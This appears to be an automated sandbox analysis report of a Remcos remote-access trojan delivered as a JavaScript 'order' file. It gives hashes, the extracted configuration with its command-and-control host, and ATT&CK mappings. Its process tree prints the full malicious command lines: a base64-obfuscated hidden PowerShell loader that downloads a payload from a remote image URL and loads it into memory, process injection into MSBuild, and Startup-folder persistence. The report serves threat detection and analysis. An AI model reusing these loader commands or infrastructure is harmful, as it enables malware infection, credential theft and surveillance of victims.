remcos | ab347c89d899e16d758c131d8e4510f081c928cca1e9dc1db8e957ed939091ab

Resubmissions

06-12-2024 08:49

241206-kq7ktsyrdz 10

06-12-2024 08:45

241206-knz3zavnap 10

Analysis

max time kernel
148s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06-12-2024 08:45

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General

Target

NewOrder12052024.js
Size

9KB
MD5

efa7decdf2f70cf9e45046a9a040a64e
SHA1

394ffdb90b4f53cf7147d141b43ab2e45c046b31
SHA256

ab347c89d899e16d758c131d8e4510f081c928cca1e9dc1db8e957ed939091ab
SHA512

655b57b69beba0b9dac4ea4466153970341763fff32571c6bc202848bf1cecd19d034c3aaca3b776bf91e9a1b572465619218211c7f71240ae867455f401c4bf
SSDEEP

192:K/4mimlh1w/zm6mGTfibYb0/9mjmkBOJb4f:wjNrIqVoKr0aCOJb4f

Score

10^/10

remcos home collection discovery execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

HOME

jawa123.duckdns.org:9005

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
vlc.exe
copy_folder
vlc
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
net-YA1YXM
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
chorne
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1268-106-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral2/memory/3764-105-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1820-104-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1268-106-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3764-105-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	3232	wscript.exe
5	3232	wscript.exe
9	3232	wscript.exe
21	1580	powershell.exe
28	1580	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3152	powershell.exe
1580	powershell.exe
1960	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	cscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	cscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	cscript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	MSBuild.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1580 set thread context of 4012	1580	powershell.exe	98
PID 4012 set thread context of 3764	4012	MSBuild.exe	101
PID 4012 set thread context of 1268	4012	MSBuild.exe	104
PID 4012 set thread context of 1820	4012	MSBuild.exe	106

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1284	PING.EXE
2056	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1284	PING.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1960	powershell.exe
1960	powershell.exe
3152	powershell.exe
3152	powershell.exe
1580	powershell.exe
1580	powershell.exe
3764	MSBuild.exe
3764	MSBuild.exe
1820	MSBuild.exe
1820	MSBuild.exe
3764	MSBuild.exe
3764	MSBuild.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
4012	MSBuild.exe
4012	MSBuild.exe
4012	MSBuild.exe
4012	MSBuild.exe
4012	MSBuild.exe
4012	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	1820	MSBuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4012	MSBuild.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 3232 wrote to memory of 1728	3232	wscript.exe	82
PID 3232 wrote to memory of 1728	3232	wscript.exe	82
PID 1728 wrote to memory of 2056	1728	cscript.exe	84
PID 1728 wrote to memory of 2056	1728	cscript.exe	84
PID 2056 wrote to memory of 1284	2056	cmd.exe	86
PID 2056 wrote to memory of 1284	2056	cmd.exe	86
PID 2056 wrote to memory of 1960	2056	cmd.exe	92
PID 2056 wrote to memory of 1960	2056	cmd.exe	92
PID 1728 wrote to memory of 3152	1728	cscript.exe	93
PID 1728 wrote to memory of 3152	1728	cscript.exe	93
PID 3152 wrote to memory of 1580	3152	powershell.exe	95
PID 3152 wrote to memory of 1580	3152	powershell.exe	95
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 1580 wrote to memory of 4012	1580	powershell.exe	98
PID 4012 wrote to memory of 3764	4012	MSBuild.exe	101
PID 4012 wrote to memory of 3764	4012	MSBuild.exe	101
PID 4012 wrote to memory of 3764	4012	MSBuild.exe	101
PID 4012 wrote to memory of 3764	4012	MSBuild.exe	101
PID 4012 wrote to memory of 1780	4012	MSBuild.exe	102
PID 4012 wrote to memory of 1780	4012	MSBuild.exe	102
PID 4012 wrote to memory of 1780	4012	MSBuild.exe	102
PID 4012 wrote to memory of 4780	4012	MSBuild.exe	103
PID 4012 wrote to memory of 4780	4012	MSBuild.exe	103
PID 4012 wrote to memory of 4780	4012	MSBuild.exe	103
PID 4012 wrote to memory of 1268	4012	MSBuild.exe	104
PID 4012 wrote to memory of 1268	4012	MSBuild.exe	104
PID 4012 wrote to memory of 1268	4012	MSBuild.exe	104
PID 4012 wrote to memory of 1268	4012	MSBuild.exe	104
PID 4012 wrote to memory of 3040	4012	MSBuild.exe	105
PID 4012 wrote to memory of 3040	4012	MSBuild.exe	105
PID 4012 wrote to memory of 3040	4012	MSBuild.exe	105
PID 4012 wrote to memory of 1820	4012	MSBuild.exe	106
PID 4012 wrote to memory of 1820	4012	MSBuild.exe	106
PID 4012 wrote to memory of 1820	4012	MSBuild.exe	106
PID 4012 wrote to memory of 1820	4012	MSBuild.exe	106

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\NewOrder12052024.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\System32\cscript.exe
  "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\octaves.js
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\octaves.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 10
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1284
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\octaves.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $lyophilizers = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABwAG8AcwBzAGUAcwBzAGkAdgBlAG4AZQBzAHMAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJABwAHIAZQBvAGMAYwB1AHAAaQBlAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwBhAGQAYQB2AGUAcgBpAG4AZQBzACAAPQAgACQAcAByAGUAbwBjAGMAdQBwAGkAZQBzAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHAAbwBzAHMAZQBzAHMAaQB2AGUAbgBlAHMAcwApADsAJABuAHkAbQBwAGgAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGMAYQBkAGEAdgBlAHIAaQBuAGUAcwApADsAJABsAGUAeABpAGMAYQBsAGkAegBlAHMAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgB2AG8AeQBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAbABpAHAAZAByAGUAcwBzACAAPQAgACQAbgB5AG0AcABoAHMALgBJAG4AZABlAHgATwBmACgAJABsAGUAeABpAGMAYQBsAGkAegBlAHMAKQA7ACQAdABoAHIAdQBzAGgAZQBzACAAPQAgACQAbgB5AG0AcABoAHMALgBJAG4AZABlAHgATwBmACgAJABlAG4AdgBvAHkAcwApADsAJABzAGwAaQBwAGQAcgBlAHMAcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAHQAaAByAHUAcwBoAGUAcwAgAC0AZwB0ACAAJABzAGwAaQBwAGQAcgBlAHMAcwA7ACQAcwBsAGkAcABkAHIAZQBzAHMAIAArAD0AIAAkAGwAZQB4AGkAYwBhAGwAaQB6AGUAcwAuAEwAZQBuAGcAdABoADsAJABmAGUAcgBtAGkAbwBuAHMAIAA9ACAAJAB0AGgAcgB1AHMAaABlAHMAIAAtACAAJABzAGwAaQBwAGQAcgBlAHMAcwA7ACQAZAByAGUAYQBtAGkAZQByACAAPQAgACQAbgB5AG0AcABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwBsAGkAcABkAHIAZQBzAHMALAAgACQAZgBlAHIAbQBpAG8AbgBzACkAOwAkAG8AcgBnAGEAbgBpAHoAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABkAHIAZQBhAG0AaQBlAHIALgBUAG8AQwBoAGEAcgBBAHIAcgBhAHkAKAApACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8AIAB9ACkAWwAtADEALgAuAC0AKAAkAGQAcgBlAGEAbQBpAGUAcgAuAEwAZQBuAGcAdABoACkAXQA7ACQAcgBlAGIAYQB0AG8AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbwByAGcAYQBuAGkAegBlAGQAKQA7ACQAZQB0AHkAbQBvAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAcgBlAGIAYQB0AG8AKQA7ACQAZQBwAGkAZABvAHQAZQAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkAOwAkAGUAcABpAGQAbwB0AGUALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAQAAoACcAMAAvAFgAbwBSAGUAUAAvAHIALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoACcALAAgACcAawBhAGYAdABhAG4AJwAsACAAJwBrAGEAZgB0AGEAbgAnACwAIAAnAGsAYQBmAHQAYQBuACcALAAgACcATQBTAEIAdQBpAGwAZAAnACwAIAAnAGsAYQBmAHQAYQBuACcALAAgACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAMQAnACwAJwBrAGEAZgB0AGEAbgAnACkAKQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AA==';$atones = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($lyophilizers));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $atones
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$possessiveness = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$preoccupies = New-Object System.Net.WebClient;$cadaverines = $preoccupies.DownloadData($possessiveness);$nymphs = [System.Text.Encoding]::UTF8.GetString($cadaverines);$lexicalizes = '<<BASE64_START>>';$envoys = '<<BASE64_END>>';$slipdress = $nymphs.IndexOf($lexicalizes);$thrushes = $nymphs.IndexOf($envoys);$slipdress -ge 0 -and $thrushes -gt $slipdress;$slipdress += $lexicalizes.Length;$fermions = $thrushes - $slipdress;$dreamier = $nymphs.Substring($slipdress, $fermions);$organized = -join ($dreamier.ToCharArray() | ForEach-Object { $_ })[-1..-($dreamier.Length)];$rebato = [System.Convert]::FromBase64String($organized);$etymon = [System.Reflection.Assembly]::Load($rebato);$epidote = [dnlib.IO.Home].GetMethod('VAI');$epidote.Invoke($null, @('0/XoReP/r/ee.etsap//:sptth', 'kaftan', 'kaftan', 'kaftan', 'MSBuild', 'kaftan', 'kaftan','kaftan','kaftan','kaftan','kaftan','kaftan','1','kaftan'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1580
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4012
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\oydzznqtlkg"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3764
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\ztisafavzsytzz"
        6⤵
        
        PID:1780
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\ztisafavzsytzz"
        6⤵
        
        PID:4780
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\ztisafavzsytzz"
        6⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:1268
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\jvwkaytonaqycfhrxp"
        6⤵
        
        PID:3040
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\jvwkaytonaqycfhrxp"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
99d7f2587e63f64f74cdd05747490d3a

SHA1
b4ea2d366334dcc0b46582ee3b085a77a40ccd5d

SHA256
1b7ce813f870c7004702b309fd49f6999705aad7379333555a5444ecad4389c1

SHA512
e0cf90862a0940838e58a02887de21ff6b083386d81b57d762b5ff346cf9cc51f12f23e34a2e3185ef093f29ee2c5d0cce230f1db612fff58ac5cf4cb1f9a92d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iatakp3v.1p1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\octaves.js

Filesize
154KB

MD5
b18f8cdaa68d74bc39dde0852aac7719

SHA1
c747020dd4d40d3a793167a5e3f976696a906b41

SHA256
831f1bb5884bd0e81acd1e01b2d43654488d929e12992a195fb659c582bda2d1

SHA512
5d03cdf4ce423935fe076d4fc2f15541a38d3ce9cdcbe93deeb42aeeeab74128dc9e9f6b2eca2306a88d5778a2aae7e10f6497b7b1251c9ea12c9bd5def2b1bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\oydzznqtlkg

Filesize
4KB

MD5
75379d3dcbcea6a69bc75b884816dd40

SHA1
7e073a03c3bdbbc60375ddbe56bba211c3d412a6

SHA256
cab559f3bbe4a0beb194dffca723b3072184b92687100462eaab04d66fff8de9

SHA512
710c2cee369a57a0039fc0d0c59de6118780210ef60ad0daf374f03ba94ab08039bc2aff821f7c99a0ecd0e16189c52e5b6d630b3d541f7b11375f134b985e8c

Download Submit
C:\Users\Admin\AppData\Roaming\remcos\logs.dat

Filesize
144B

MD5
2f627c9c6c1601fe39cb0efa37dee532

SHA1
517fa0838b76cd45b4448311908fe0931a2175fe

SHA256
3584aa1b5e1457205c66cc36277c901dc523da1663ec3aa1e602e6f3da2628a8

SHA512
cd779060ac90359f5e6146044717063872a5bd21d5047c75874bb7540fde4f1c5b52e2a58d8cabb9a3badcec79e3331d7085534d80f356081300756ee279530b

Download Submit
memory/1268-106-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/1268-99-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/1268-101-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/1580-44-0x000001DCF5BA0000-0x000001DCF5CF8000-memory.dmp

Filesize
1.3MB

Download
memory/1820-103-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1820-104-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1820-102-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1960-12-0x000002B5E7490000-0x000002B5E74B2000-memory.dmp

Filesize
136KB

Download
memory/3764-98-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3764-105-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3764-100-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4012-56-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-92-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-70-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-71-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-72-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-73-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-77-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-78-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-79-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-80-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-84-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4012-85-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
